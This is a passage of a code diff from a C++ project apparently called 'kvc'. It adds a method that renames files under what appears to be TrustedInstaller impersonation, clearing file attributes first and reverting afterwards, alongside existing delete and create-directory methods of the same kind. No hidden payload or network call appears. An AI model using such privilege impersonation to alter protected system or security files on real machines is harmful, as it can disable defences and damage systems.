GetFileAttributesW(srcPath.c_str()); + if (attrs != INVALID_FILE_ATTRIBUTES) { + SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL); + } + + BOOL result = MoveFileW(srcPath.c_str(), dstPath.c_str()); + DWORD error = result ? ERROR_SUCCESS : GetLastError(); + + RevertToSelf(); + + if (!result) { + ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPath.c_str(), dstPath.c_str(), error); + return false; + } + + DEBUG(L"File renamed successfully: %s -> %s", srcPath.c_str(), dstPath.c_str()); + return true; +} + // ============================================================================ -// REGISTRY OPERATIONS (NEW) +// REGISTRY OPERATIONS // ============================================================================ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, diff --git a/kvc/TrustedInstallerIntegrator.h b/kvc/TrustedInstallerIntegrator.h index 0e6c85e..d86f4b0 100644 --- a/kvc/TrustedInstallerIntegrator.h +++ b/kvc/TrustedInstallerIntegrator.h @@ -26,6 +26,9 @@ public: const std::vector& data) noexcept; bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept; + bool RenameFileAsTrustedInstaller(const std::wstring& srcPath, + const std::wstring& dstPath) noexcept; + // Creates a directory with TrustedInstaller privileges bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;